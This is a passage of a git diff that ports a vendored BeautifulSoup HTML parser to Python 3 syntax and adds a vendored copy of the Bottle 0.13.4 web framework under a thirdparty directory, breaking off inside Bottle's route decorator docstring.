isResetNesting = name in self.RESET_NESTING_TAGS popTo = None inclusive = True for i in xrange(len(self.tagStack)-1, 0, -1): @@ -1311,7 +1332,7 @@ def _smartPop(self, name): if (nestingResetTriggers is not None and p.name in nestingResetTriggers) \ or (nestingResetTriggers is None and isResetNesting - and self.RESET_NESTING_TAGS.has_key(p.name)): + and p.name in self.RESET_NESTING_TAGS): #If we encounter one of the nesting reset triggers #peculiar to this tag, or we encounter another tag @@ -1457,8 +1478,8 @@ def parse_declaration(self, i): self._toStringSubclass(data, CData) else: try: - j = SGMLParser.parse_declaration(self, i) - except SGMLParseError: + j = sgmllib.SGMLParser.parse_declaration(self, i) + except sgmllib.SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) @@ -1513,7 +1534,7 @@ class BeautifulSoup(BeautifulStoneSoup): BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): - if not kwargs.has_key('smartQuotesTo'): + if 'smartQuotesTo' not in kwargs: kwargs['smartQuotesTo'] = self.HTML_ENTITIES kwargs['isHTML'] = True BeautifulStoneSoup.__init__(self, *args, **kwargs) @@ -1568,7 +1589,7 @@ def __init__(self, *args, **kwargs): NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) # Used to detect the charset in a META tag; see start_meta - CHARSET_RE = re.compile("((^|;)\s*charset=)([^;]*)", re.M) + CHARSET_RE = re.compile(r"((^|;)\s*charset=)([^;]*)", re.M) def start_meta(self, attrs): """Beautiful Soup can detect a charset included in a META tag, @@ -1770,9 +1791,9 @@ def __init__(self, markup, overrideEncodings=[], self._detectEncoding(markup, isHTML) self.smartQuotesTo = smartQuotesTo self.triedEncodings = [] - if markup == '' or isinstance(markup, unicode): + if markup == '' or isinstance(markup, text_type): self.originalEncoding = None - self.unicode = unicode(markup) + self.unicode = text_type(markup) return u = None @@ -1785,7 +1806,7 @@ def __init__(self, markup, overrideEncodings=[], if u: break # If no luck and we have auto-detection library, try that: - if not u and chardet and not isinstance(self.markup, unicode): + if not u and chardet and not isinstance(self.markup, text_type): u = self._convertFrom(chardet.detect(self.markup)['encoding']) # As a last resort, try utf-8 and windows-1252: @@ -1821,7 +1842,7 @@ def _convertFrom(self, proposed): "iso-8859-1", "iso-8859-2"): markup = re.compile("([\x80-\x9f])").sub \ - (lambda(x): self._subMSChar(x.group(1)), + (lambda x: self._subMSChar(x.group(1)), markup) try: @@ -1829,7 +1850,7 @@ def _convertFrom(self, proposed): u = self._toUnicode(markup, proposed) self.markup = u self.originalEncoding = proposed - except Exception, e: + except Exception as e: # print "That didn't work!" # print e return None @@ -1858,7 +1879,7 @@ def _toUnicode(self, data, encoding): elif data[:4] == '\xff\xfe\x00\x00': encoding = 'utf-32le' data = data[4:] - newdata = unicode(data, encoding) + newdata = text_type(data, encoding) return newdata def _detectEncoding(self, xml_data, isHTML=False): @@ -1871,50 +1892,50 @@ def _detectEncoding(self, xml_data, isHTML=False): elif xml_data[:4] == '\x00\x3c\x00\x3f': # UTF-16BE sniffed_xml_encoding = 'utf-16be' - xml_data = unicode(xml_data, 'utf-16be').encode('utf-8') + xml_data = text_type(xml_data, 'utf-16be').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') \ and (xml_data[2:4] != '\x00\x00'): # UTF-16BE with BOM sniffed_xml_encoding = 'utf-16be' - xml_data = unicode(xml_data[2:], 'utf-16be').encode('utf-8') + xml_data = text_type(xml_data[2:], 'utf-16be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x3f\x00': # UTF-16LE sniffed_xml_encoding = 'utf-16le' - xml_data = unicode(xml_data, 'utf-16le').encode('utf-8') + xml_data = text_type(xml_data, 'utf-16le').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and \ (xml_data[2:4] != '\x00\x00'): # UTF-16LE with BOM sniffed_xml_encoding = 'utf-16le' - xml_data = unicode(xml_data[2:], 'utf-16le').encode('utf-8') + xml_data = text_type(xml_data[2:], 'utf-16le').encode('utf-8') elif xml_data[:4] == '\x00\x00\x00\x3c': # UTF-32BE sniffed_xml_encoding = 'utf-32be' - xml_data = unicode(xml_data, 'utf-32be').encode('utf-8') + xml_data = text_type(xml_data, 'utf-32be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x00\x00': # UTF-32LE sniffed_xml_encoding = 'utf-32le' - xml_data = unicode(xml_data, 'utf-32le').encode('utf-8') + xml_data = text_type(xml_data, 'utf-32le').encode('utf-8') elif xml_data[:4] == '\x00\x00\xfe\xff': # UTF-32BE with BOM sniffed_xml_encoding = 'utf-32be' - xml_data = unicode(xml_data[4:], 'utf-32be').encode('utf-8') + xml_data = text_type(xml_data[4:], 'utf-32be').encode('utf-8') elif xml_data[:4] == '\xff\xfe\x00\x00': # UTF-32LE with BOM sniffed_xml_encoding = 'utf-32le' - xml_data = unicode(xml_data[4:], 'utf-32le').encode('utf-8') + xml_data = text_type(xml_data[4:], 'utf-32le').encode('utf-8') elif xml_data[:3] == '\xef\xbb\xbf': # UTF-8 with BOM sniffed_xml_encoding = 'utf-8' - xml_data = unicode(xml_data[3:], 'utf-8').encode('utf-8') + xml_data = text_type(xml_data[3:], 'utf-8').encode('utf-8') else: sniffed_xml_encoding = 'ascii' pass except: xml_encoding_match = None xml_encoding_match = re.compile( - '^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data) + r'^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data) if not xml_encoding_match and isHTML: - regexp = re.compile('<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I) + regexp = re.compile(r'<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I) xml_encoding_match = regexp.search(xml_data) if xml_encoding_match is not None: xml_encoding = xml_encoding_match.groups()[0].lower() @@ -2009,6 +2030,5 @@ def _ebcdic_to_ascii(self, s): #By default, act as an HTML pretty-printer. if __name__ == '__main__': - import sys soup = BeautifulSoup(sys.stdin) - print soup.prettify() + print(soup.prettify()) diff --git a/thirdparty/bottle/__init__.py b/thirdparty/bottle/__init__.py new file mode 100644 index 00000000000..2ae28399f5f --- /dev/null +++ b/thirdparty/bottle/__init__.py @@ -0,0 +1 @@ +pass diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py new file mode 100644 index 00000000000..e0b3185d27d --- /dev/null +++ b/thirdparty/bottle/bottle.py @@ -0,0 +1,4681 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function +""" +Bottle is a fast and simple micro-framework for small web applications. It +offers request dispatching (Routes) with URL parameter support, templates, +a built-in HTTP Server and adapters for many third party WSGI/HTTP-server and +template engines - all in a single file and with no dependencies other than the +Python Standard Library. + +Homepage and documentation: http://bottlepy.org/ + +Copyright (c) 2009-2024, Marcel Hellkamp. +License: MIT (see LICENSE for details) +""" + +import sys + +__author__ = 'Marcel Hellkamp' +__version__ = '0.13.4' +__license__ = 'MIT' + +############################################################################### +# Command-line interface ###################################################### +############################################################################### +# INFO: Some server adapters need to monkey-patch std-lib modules before they +# are imported. This is why some of the command-line handling is done here, but +# the actual call to _main() is at the end of the file. + + +def _cli_parse(args): # pragma: no coverage + from argparse import ArgumentParser + + parser = ArgumentParser(prog=args[0], usage="%(prog)s [options] package.module:app") + opt = parser.add_argument + opt("--version", action="store_true", help="show version number.") + opt("-b", "--bind", metavar="ADDRESS", help="bind socket to ADDRESS.") + opt("-s", "--server", default='wsgiref', help="use SERVER as backend.") + opt("-p", "--plugin", action="append", help="install additional plugin/s.") + opt("-c", "--conf", action="append", metavar="FILE", + help="load config values from FILE.") + opt("-C", "--param", action="append", metavar="NAME=VALUE", + help="override config values.") + opt("--debug", action="store_true", help="start server in debug mode.") + opt("--reload", action="store_true", help="auto-reload on file changes.") + opt('app', help='WSGI app entry point.', nargs='?') + + cli_args = parser.parse_args(args[1:]) + + return cli_args, parser + + +def _cli_patch(cli_args): # pragma: no coverage + parsed_args, _ = _cli_parse(cli_args) + opts = parsed_args + if opts.server: + if opts.server.startswith('gevent'): + import gevent.monkey + gevent.monkey.patch_all() + elif opts.server.startswith('eventlet'): + import eventlet + eventlet.monkey_patch() + + +if __name__ == '__main__': + _cli_patch(sys.argv) + +############################################################################### +# Imports and Python 2/3 unification ########################################## +############################################################################### + +import base64, calendar, email.utils, functools, hmac, itertools,\ + mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib + +from types import FunctionType +from datetime import date as datedate, datetime, timedelta +from tempfile import NamedTemporaryFile +from traceback import format_exc, print_exc +from unicodedata import normalize + +try: + from ujson import dumps as json_dumps, loads as json_lds +except ImportError: + from json import dumps as json_dumps, loads as json_lds + +py = sys.version_info +py3k = py.major > 2 + +# Lots of stdlib and builtin differences. +if py3k: + import http.client as httplib + import _thread as thread + from urllib.parse import urljoin, SplitResult as UrlSplitResult + from urllib.parse import urlencode, quote as urlquote, unquote as urlunquote + urlunquote = functools.partial(urlunquote, encoding='latin1') + from http.cookies import SimpleCookie, Morsel, CookieError + from collections.abc import MutableMapping as DictMixin + from types import ModuleType as new_module + import pickle + from io import BytesIO + import configparser + from datetime import timezone + UTC = timezone.utc + # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6 + # getargspec was deprecated in 3.0 and removed in 3.11 + from inspect import getfullargspec + def getargspec(func): + spec = getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return kwargs, spec[1], spec[2], spec[3] + + basestring = str + unicode = str + json_loads = lambda s: json_lds(touni(s)) + callable = lambda x: hasattr(x, '__call__') + imap = map + + def _raise(*a): + raise a[0](a[1]).with_traceback(a[2]) +else: # 2.x + warnings.warn("Python 2 support will be dropped in Bottle 0.14", DeprecationWarning) + import httplib + import thread + from urlparse import urljoin, SplitResult as UrlSplitResult + from urllib import urlencode, quote as urlquote, unquote as urlunquote + from Cookie import SimpleCookie, Morsel, CookieError + from itertools import imap + import cPickle as pickle + from imp import new_module + from StringIO import StringIO as BytesIO + import ConfigParser as configparser + from collections import MutableMapping as DictMixin + from inspect import getargspec + from datetime import tzinfo + + class _UTC(tzinfo): + def utcoffset(self, dt): return timedelta(0) + def tzname(self, dt): return "UTC" + def dst(self, dt): return timedelta(0) + UTC = _UTC() + + unicode = unicode + json_loads = json_lds + + exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '<py3fix>', 'exec')) + +# Some helpers for string/byte handling +def tob(s, enc='utf8'): + if isinstance(s, unicode): + return s.encode(enc) + return b'' if s is None else bytes(s) + + +def touni(s, enc='utf8', err='strict'): + if isinstance(s, bytes): + return s.decode(enc, err) + return unicode("" if s is None else s) + + +tonat = touni if py3k else tob + + +def _stderr(*args): + try: + print(*args, file=sys.stderr) + except (IOError, AttributeError): + pass # Some environments do not allow printing (mod_wsgi) + + +# A bug in functools causes it to break if the wrapper is an instance method +def update_wrapper(wrapper, wrapped, *a, **ka): + try: + functools.update_wrapper(wrapper, wrapped, *a, **ka) + except AttributeError: + pass + +# These helpers are used at module level and need to be defined first. +# And yes, I know PEP-8, but sometimes a lower-case classname makes more sense. + + +def depr(major, minor, cause, fix, stacklevel=3): + text = "Warning: Use of deprecated feature or API. (Deprecated in Bottle-%d.%d)\n"\ + "Cause: %s\n"\ + "Fix: %s\n" % (major, minor, cause, fix) + if DEBUG == 'strict': + raise DeprecationWarning(text) + warnings.warn(text, DeprecationWarning, stacklevel=stacklevel) + return DeprecationWarning(text) + + +def makelist(data): # This is just too handy + if isinstance(data, (tuple, list, set, dict)): + return list(data) + elif data: + return [data] + else: + return [] + + +class DictProperty(object): + """ Property that maps to a key in a local dict-like attribute. """ + + def __init__(self, attr, key=None, read_only=False): + self.attr, self.key, self.read_only = attr, key, read_only + + def __call__(self, func): + functools.update_wrapper(self, func, updated=[]) + self.getter, self.key = func, self.key or func.__name__ + return self + + def __get__(self, obj, cls): + if obj is None: return self + key, storage = self.key, getattr(obj, self.attr) + if key not in storage: storage[key] = self.getter(obj) + return storage[key] + + def __set__(self, obj, value): + if self.read_only: raise AttributeError("Read-Only property.") + getattr(obj, self.attr)[self.key] = value + + def __delete__(self, obj): + if self.read_only: raise AttributeError("Read-Only property.") + del getattr(obj, self.attr)[self.key] + + +class cached_property(object): + """ A property that is only computed once per instance and then replaces + itself with an ordinary attribute. Deleting the attribute resets the + property. """ + + def __init__(self, func): + update_wrapper(self, func) + self.func = func + + def __get__(self, obj, cls): + if obj is None: return self + value = obj.__dict__[self.func.__name__] = self.func(obj) + return value + + +class lazy_attribute(object): + """ A property that caches itself to the class object. """ + + def __init__(self, func): + functools.update_wrapper(self, func, updated=[]) + self.getter = func + + def __get__(self, obj, cls): + value = self.getter(cls) + setattr(cls, self.__name__, value) + return value + + +############################################################################### +# Exceptions and Events ####################################################### +############################################################################### + + +class BottleException(Exception): + """ A base class for exceptions used by bottle. """ + pass + +############################################################################### +# Routing ###################################################################### +############################################################################### + + +class RouteError(BottleException): + """ This is a base class for all routing related exceptions """ + + +class RouteReset(BottleException): + """ If raised by a plugin or request handler, the route is reset and all + plugins are re-applied. """ + + +class RouterUnknownModeError(RouteError): + + pass + + +class RouteSyntaxError(RouteError): + """ The route parser found something not supported by this router. """ + + +class RouteBuildError(RouteError): + """ The route could not be built. """ + + +def _re_flatten(p): + """ Turn all capturing groups in a regular expression pattern into + non-capturing groups. """ + if '(' not in p: + return p + return re.sub(r'(\\*)(\(\?P<[^>]+>|\((?!\?))', lambda m: m.group(0) if + len(m.group(1)) % 2 else m.group(1) + '(?:', p) + + +class Router(object): + """ A Router is an ordered collection of route->target pairs. It is used to + efficiently match WSGI requests against a number of routes and return + the first target that satisfies the request. The target may be anything, + usually a string, ID or callable object. A route consists of a path-rule + and a HTTP method. + + The path-rule is either a static path (e.g. `/contact`) or a dynamic + path that contains wildcards (e.g. `/wiki/<page>`). The wildcard syntax + and details on the matching order are described in docs:`routing`. + """ + + default_pattern = '[^/]+' + default_filter = 're' + + #: The current CPython regexp implementation does not allow more + #: than 99 matching groups per regular expression. + _MAX_GROUPS_PER_PATTERN = 99 + + def __init__(self, strict=False): + self.rules = [] # All rules in order + self._groups = {} # index of regexes to find them in dyna_routes + self.builder = {} # Data structure for the url builder + self.static = {} # Search structure for static routes + self.dyna_routes = {} + self.dyna_regexes = {} # Search structure for dynamic routes + #: If true, static routes are no longer checked first. + self.strict_order = strict + self.filters = { + 're': lambda conf: (_re_flatten(conf or self.default_pattern), + None, None), + 'int': lambda conf: (r'-?\d+', int, lambda x: str(int(x))), + 'float': lambda conf: (r'-?[\d.]+', float, lambda x: str(float(x))), + 'path': lambda conf: (r'.+?', None, None) + } + + def add_filter(self, name, func): + """ Add a filter. The provided function is called with the configuration + string as parameter and must return a (regexp, to_python, to_url) tuple. + The first element is a string, the last two are callables or None. """ + self.filters[name] = func + + rule_syntax = re.compile('(\\\\*)' + '(?:(?::([a-zA-Z_][a-zA-Z_0-9]*)?()(?:#(.*?)#)?)' + '|(?:<([a-zA-Z_][a-zA-Z_0-9]*)?(?::([a-zA-Z_]*)' + '(?::((?:\\\\.|[^\\\\>])+)?)?)?>))') + + def _itertokens(self, rule): + offset, prefix = 0, '' + for match in self.rule_syntax.finditer(rule): + prefix += rule[offset:match.start()] + g = match.groups() + if g[2] is not None: + depr(0, 13, "Use of old route syntax.", + "Use <name> instead of :name in routes.", + stacklevel=4) + if len(g[0]) % 2: # Escaped wildcard + prefix += match.group(0)[len(g[0]):] + offset = match.end() + continue + if prefix: + yield prefix, None, None + name, filtr, conf = g[4:7] if g[2] is None else g[1:4] + yield name, filtr or 'default', conf or None + offset, prefix = match.end(), '' + if offset <= len(rule) or prefix: + yield prefix + rule[offset:], None, None + + def add(self, rule, method, target, name=None): + """ Add a new rule or replace the target for an existing rule. """ + anons = 0 # Number of anonymous wildcards found + keys = [] # Names of keys + pattern = '' # Regular expression pattern with named groups + filters = [] # Lists of wildcard input filters + builder = [] # Data structure for the URL builder + is_static = True + + for key, mode, conf in self._itertokens(rule): + if mode: + is_static = False + if mode == 'default': mode = self.default_filter + mask, in_filter, out_filter = self.filters[mode](conf) + if not key: + pattern += '(?:%s)' % mask + key = 'anon%d' % anons + anons += 1 + else: + pattern += '(?P<%s>%s)' % (key, mask) + keys.append(key) + if in_filter: filters.append((key, in_filter)) + builder.append((key, out_filter or str)) + elif key: + pattern += re.escape(key) + builder.append((None, key)) + + self.builder[rule] = builder + if name: self.builder[name] = builder + + if is_static and not self.strict_order: + self.static.setdefault(method, {}) + self.static[method][self.build(rule)] = (target, None) + return + + try: + re_pattern = re.compile('^(%s)$' % pattern) + re_match = re_pattern.match + except re.error as e: + raise RouteSyntaxError("Could not add Route: %s (%s)" % (rule, e)) + + if filters: + + def getargs(path): + url_args = re_match(path).groupdict() + for name, wildcard_filter in filters: + try: + url_args[name] = wildcard_filter(url_args[name]) + except ValueError: + raise HTTPError(400, 'Path has wrong format.') + return url_args + elif re_pattern.groupindex: + + def getargs(path): + return re_match(path).groupdict() + else: + getargs = None + + flatpat = _re_flatten(pattern) + whole_rule = (rule, flatpat, target, getargs) + + if (flatpat, method) in self._groups: + if DEBUG: + msg = 'Route <%s %s> overwrites a previously defined route' + warnings.warn(msg % (method, rule), RuntimeWarning, stacklevel=3) + self.dyna_routes[method][ + self._groups[flatpat, method]] = whole_rule + else: + self.dyna_routes.setdefault(method, []).append(whole_rule) + self._groups[flatpat, method] = len(self.dyna_routes[method]) - 1 + + self._compile(method) + + def _compile(self, method): + all_rules = self.dyna_routes[method] + comborules = self.dyna_regexes[method] = [] + maxgroups = self._MAX_GROUPS_PER_PATTERN + for x in range(0, len(all_rules), maxgroups): + some = all_rules[x:x + maxgroups] + combined = (flatpat for (_, flatpat, _, _) in some) + combined = '|'.join('(^%s$)' % flatpat for flatpat in combined) + combined = re.compile(combined).match + rules = [(target, getargs) for (_, _, target, getargs) in some] + comborules.append((combined, rules)) + + def build(self, _name, *anons, **query): + """ Build an URL by filling the wildcards in a rule. """ + builder = self.builder.get(_name) + if not builder: + raise RouteBuildError("No route with that name.", _name) + try: + for i, value in enumerate(anons): + query['anon%d' % i] = value + url = ''.join([f(query.pop(n)) if n else f for (n, f) in builder]) + return url if not query else url + '?' + urlencode(query) + except KeyError as E: + raise RouteBuildError('Missing URL argument: %r' % E.args[0]) + + def match(self, environ): + """ Return a (target, url_args) tuple or raise HTTPError(400/404/405). """ + verb = environ['REQUEST_METHOD'].upper() + path = environ['PATH_INFO'] or '/' + + methods = ('PROXY', 'HEAD', 'GET', 'ANY') if verb == 'HEAD' else ('PROXY', verb, 'ANY') + + for method in methods: + if method in self.static and path in self.static[method]: + target, getargs = self.static[method][path] + return target, getargs(path) if getargs else {} + elif method in self.dyna_regexes: + for combined, rules in self.dyna_regexes[method]: + match = combined(path) + if match: + target, getargs = rules[match.lastindex - 1] + return target, getargs(path) if getargs else {} + + # No matching route found. Collect alternative methods for 405 response + allowed = set([]) + nocheck = set(methods) + for method in set(self.static) - nocheck: + if path in self.static[method]: + allowed.add(method) + for method in set(self.dyna_regexes) - allowed - nocheck: + for combined, rules in self.dyna_regexes[method]: + match = combined(path) + if match: + allowed.add(method) + if allowed: + allow_header = ",".join(sorted(allowed)) + raise HTTPError(405, "Method not allowed.", Allow=allow_header) + + # No matching route and no alternative method found. We give up + raise HTTPError(404, "Not found: " + repr(path)) + + +class Route(object): + """ This class wraps a route callback along with route specific metadata and + configuration and applies Plugins on demand. It is also responsible for + turning an URL path rule into a regular expression usable by the Router. + """ + + def __init__(self, app, rule, method, callback, + name=None, + plugins=None, + skiplist=None, **config): + #: The application this route is installed to. + self.app = app + #: The path-rule string (e.g. ``/wiki/<page>``). + self.rule = rule + #: The HTTP method as a string (e.g. ``GET``). + self.method = method + #: The original callback with no plugins applied. Useful for introspection. + self.callback = callback + #: The name of the route (if specified) or ``None``. + self.name = name or None + #: A list of route-specific plugins (see :meth:`Bottle.route`). + self.plugins = plugins or [] + #: A list of plugins to not apply to this route (see :meth:`Bottle.route`). + self.skiplist = skiplist or [] + #: Additional keyword arguments passed to the :meth:`Bottle.route` + #: decorator are stored in this dictionary. Used for route-specific + #: plugin configuration and meta-data. + self.config = app.config._make_overlay() + self.config.load_dict(config) + + @cached_property + def call(self): + """ The route callback with all plugins applied. This property is + created on demand and then cached to speed up subsequent requests.""" + return self._make_callback() + + def reset(self): + """ Forget any cached values. The next time :attr:`call` is accessed, + all plugins are re-applied. """ + self.__dict__.pop('call', None) + + def prepare(self): + """ Do all on-demand work immediately (useful for debugging).""" + self.call + + def all_plugins(self): + """ Yield all Plugins affecting this route. """ + unique = set() + for p in reversed(self.app.plugins + self.plugins): + if True in self.skiplist: break + name = getattr(p, 'name', False) + if name and (name in self.skiplist or name in unique): continue + if p in self.skiplist or type(p) in self.skiplist: continue + if name: unique.add(name) + yield p + + def _make_callback(self): + callback = self.callback + for plugin in self.all_plugins(): + try: + if hasattr(plugin, 'apply'): + callback = plugin.apply(callback, self) + else: + callback = plugin(callback) + except RouteReset: # Try again with changed configuration. + return self._make_callback() + if callback is not self.callback: + update_wrapper(callback, self.callback) + return callback + + def get_undecorated_callback(self): + """ Return the callback. If the callback is a decorated function, try to + recover the original function. """ + func = self.callback + while True: + if getattr(func, '__wrapped__', False): + func = func.__wrapped__ + elif getattr(func, '__func__', False): + func = func.__func__ + elif getattr(func, '__closure__', False): + cells_values = (cell.cell_contents for cell in func.__closure__) + isfunc = lambda x: isinstance(x, FunctionType) or hasattr(x, '__call__') + func = next(iter(filter(isfunc, cells_values)), func) + else: + break + return func + + def get_callback_args(self): + """ Return a list of argument names the callback (most likely) accepts + as keyword arguments. If the callback is a decorated function, try + to recover the original function before inspection. """ + return getargspec(self.get_undecorated_callback())[0] + + def get_config(self, key, default=None): + """ Lookup a config field and return its value, first checking the + route.config, then route.app.config.""" + depr(0, 13, "Route.get_config() is deprecated.", + "The Route.config property already includes values from the" + " application config for missing keys. Access it directly.") + return self.config.get(key, default) + + def __repr__(self): + cb = self.get_undecorated_callback() + return '<%s %s -> %s:%s>' % ( + self.method, self.rule, cb.__module__, getattr(cb, '__name__', '__call__') + ) + +############################################################################### +# Application Object ########################################################### +############################################################################### + + +class Bottle(object): + """ Each Bottle object represents a single, distinct web application and + consists of routes, callbacks, plugins, resources and configuration. + Instances are callable WSGI applications. + + :param catchall: If true (default), handle all exceptions. Turn off to + let debugging middleware handle exceptions. + """ + + @lazy_attribute + def _global_config(cls): + cfg = ConfigDict() + cfg.meta_set('catchall', 'validate', bool) + return cfg + + def __init__(self, **kwargs): + #: A :class:`ConfigDict` for app specific configuration. + self.config = self._global_config._make_overlay() + self.config._add_change_listener( + functools.partial(self.trigger_hook, 'config')) + + self.config.update({ + "catchall": True + }) + + if kwargs.get('catchall') is False: + depr(0, 13, "Bottle(catchall) keyword argument.", + "The 'catchall' setting is now part of the app " + "configuration. Fix: `app.config['catchall'] = False`") + self.config['catchall'] = False + if kwargs.get('autojson') is False: + depr(0, 13, "Bottle(autojson) keyword argument.", + "The 'autojson' setting is now part of the app " + "configuration. Fix: `app.config['json.enable'] = False`") + self.config['json.disable'] = True + + self._mounts = [] + + #: A :class:`ResourceManager` for application files + self.resources = ResourceManager() + + self.routes = [] # List of installed :class:`Route` instances. + self.router = Router() # Maps requests to :class:`Route` instances. + self.error_handler = {} + + # Core plugins + self.plugins = [] # List of installed plugins. + self.install(JSONPlugin()) + self.install(TemplatePlugin()) + + #: If true, most exceptions are caught and returned as :exc:`HTTPError` + catchall = DictProperty('config', 'catchall') + + __hook_names = 'before_request', 'after_request', 'app_reset', 'config' + __hook_reversed = {'after_request'} + + @cached_property + def _hooks(self): + return dict((name, []) for name in self.__hook_names) + + def add_hook(self, name, func): + """ Attach a callback to a hook. Three hooks are currently implemented: + + before_request + Executed once before each request. The request context is + available, but no routing has happened yet. + after_request + Executed once after each request regardless of its outcome. + app_reset + Called whenever :meth:`Bottle.reset` is called. + """ + if name in self.__hook_reversed: + self._hooks[name].insert(0, func) + else: + self._hooks[name].append(func) + + def remove_hook(self, name, func): + """ Remove a callback from a hook. """ + if name in self._hooks and func in self._hooks[name]: + self._hooks[name].remove(func) + return True + + def trigger_hook(self, __name, *args, **kwargs): + """ Trigger a hook and return a list of results. """ + return [hook(*args, **kwargs) for hook in self._hooks[__name][:]] + + def hook(self, name): + """ Return a decorator that attaches a callback to a hook. See + :meth:`add_hook` for details.""" + + def decorator(func): + self.add_hook(name, func) + return func + + return decorator + + def _mount_wsgi(self, prefix, app, **options): + segments = [p for p in prefix.split('/') if p] + if not segments: + raise ValueError('WSGI applications cannot be mounted to "/".') + path_depth = len(segments) + + def mountpoint_wrapper(): + try: + request.path_shift(path_depth) + rs = HTTPResponse([]) + + def start_response(status, headerlist, exc_info=None): + if exc_info: + _raise(*exc_info) + if py3k: + # Errors here mean that the mounted WSGI app did not + # follow PEP-3333 (which requires latin1) or used a + # pre-encoding other than utf8 :/ + status = status.encode('latin1').decode('utf8') + headerlist = [(k, v.encode('latin1').decode('utf8')) + for (k, v) in headerlist] + rs.status = status + for name, value in headerlist: + rs.add_header(name, value) + return rs.body.append + + body = app(request.environ, start_response) + rs.body = itertools.chain(rs.body, body) if rs.body else body + return rs + finally: + request.path_shift(-path_depth) + + options.setdefault('skip', True) + options.setdefault('method', 'PROXY') + options.setdefault('mountpoint', {'prefix': prefix, 'target': app}) + options['callback'] = mountpoint_wrapper + + self.route('/%s/<:re:.*>' % '/'.join(segments), **options) + if not prefix.endswith('/'): + self.route('/' + '/'.join(segments), **options) + + def _mount_app(self, prefix, app, **options): + if app in self._mounts or '_mount.app' in app.config: + depr(0, 13, "Application mounted multiple times. Falling back to WSGI mount.", + "Clone application before mounting to a different location.") + return self._mount_wsgi(prefix, app, **options) + + if options: + depr(0, 13, "Unsupported mount options. Falling back to WSGI mount.", + "Do not specify any route options when mounting bottle application.") + return self._mount_wsgi(prefix, app, **options) + + if not prefix.endswith("/"): + depr(0, 13, "Prefix must end in '/'. Falling back to WSGI mount.", + "Consider adding an explicit redirect from '/prefix' to '/prefix/' in the parent application.") + return self._mount_wsgi(prefix, app, **options) + + self._mounts.append(app) + app.config['_mount.prefix'] = prefix + app.config['_mount.app'] = self + for route in app.routes: + route.rule = prefix + route.rule.lstrip('/') + self.add_route(route) + + def mount(self, prefix, app, **options): + """ Mount an application (:class:`Bottle` or plain WSGI) to a specific + URL prefix. Example:: + + parent_app.mount('/prefix/', child_app) + + :param prefix: path prefix or `mount-point`. + :param app: an instance of :class:`Bottle` or a WSGI application. + + Plugins from the parent application are not applied to the routes + of the mounted child application. If you need plugins in the child + application, install them separately. + + While it is possible to use path wildcards within the prefix path + (:class:`Bottle` childs only), it is highly discouraged. + + The prefix path must end with a slash. If you want to access the + root of the child application via `/prefix` in addition to + `/prefix/`, consider adding a route with a 307 redirect to the + parent application. + """ + + if not prefix.startswith('/'): + raise ValueError("Prefix must start with '/'") + + if isinstance(app, Bottle): + return self._mount_app(prefix, app, **options) + else: + return self._mount_wsgi(prefix, app, **options) + + def merge(self, routes): + """ Merge the routes of another :class:`Bottle` application or a list of + :class:`Route` objects into this application. The routes keep their + 'owner', meaning that the :data:`Route.app` attribute is not + changed. """ + if isinstance(routes, Bottle): + routes = routes.routes + for route in routes: + self.add_route(route) + + def install(self, plugin): + """ Add a plugin to the list of plugins and prepare it for being + applied to all routes of this application. A plugin may be a simple + decorator or an object that implements the :class:`Plugin` API. + """ + if hasattr(plugin, 'setup'): plugin.setup(self) + if not callable(plugin) and not hasattr(plugin, 'apply'): + raise TypeError("Plugins must be callable or implement .apply()") + self.plugins.append(plugin) + self.reset() + return plugin + + def uninstall(self, plugin): + """ Uninstall plugins. Pass an instance to remove a specific plugin, a type + object to remove all plugins that match that type, a string to remove + all plugins with a matching ``name`` attribute or ``True`` to remove all + plugins. Return the list of removed plugins. """ + removed, remove = [], plugin + for i, plugin in list(enumerate(self.plugins))[::-1]: + if remove is True or remove is plugin or remove is type(plugin) \ + or getattr(plugin, 'name', True) == remove: + removed.append(plugin) + del self.plugins[i] + if hasattr(plugin, 'close'): plugin.close() + if removed: self.reset() + return removed + + def reset(self, route=None): + """ Reset all routes (force plugins to be re-applied) and clear all + caches. If an ID or route object is given, only that specific route + is affected. """ + if route is None: routes = self.routes + elif isinstance(route, Route): routes = [route] + else: routes = [self.routes[route]] + for route in routes: + route.reset() + if DEBUG: + for route in routes: + route.prepare() + self.trigger_hook('app_reset') + + def close(self): + """ Close the application and all installed plugins. """ + for plugin in self.plugins: + if hasattr(plugin, 'close'): plugin.close() + + def run(self, **kwargs): + """ Calls :func:`run` with the same parameters. """ + run(self, **kwargs) + + def match(self, environ): + """ Search for a matching route and return a (:class:`Route`, urlargs) + tuple. The second value is a dictionary with parameters extracted + from the URL. Raise :exc:`HTTPError` (404/405) on a non-match.""" + return self.router.match(environ) + + def get_url(self, routename, **kargs): + """ Return a string that matches a named route """ + scriptname = request.environ.get('SCRIPT_NAME', '').strip('/') + '/' + location = self.router.build(routename, **kargs).lstrip('/') + return urljoin(urljoin('/', scriptname), location) + + def add_route(self, route): + """ Add a route object, but do not change the :data:`Route.app` + attribute.""" + self.routes.append(route) + self.router.add(route.rule, route.method, route, name=route.name) + if DEBUG: route.prepare() + + def route(self, + path=None, + method='GET', + callback=None, + name=None, + apply=None, + skip=None, **config): + """ A decorator to bind a function to a request URL. Example:: + + @app.route('/hello/<name>') + def hello(name): + return 'Hello %s' % name + + The ``<name>`` part is a wildcard. See :class:`Router` for syntax + details. + + :param path: Request path or a list of paths to listen to. If no + path is specified, it is automatically generated from the + signature of the function. + :param method: HTTP method (`GET`, `POST`, `PUT`, ...) or a list of + methods to listen to. (default: `GET`) + :param callback: An optional shortcut to avoid 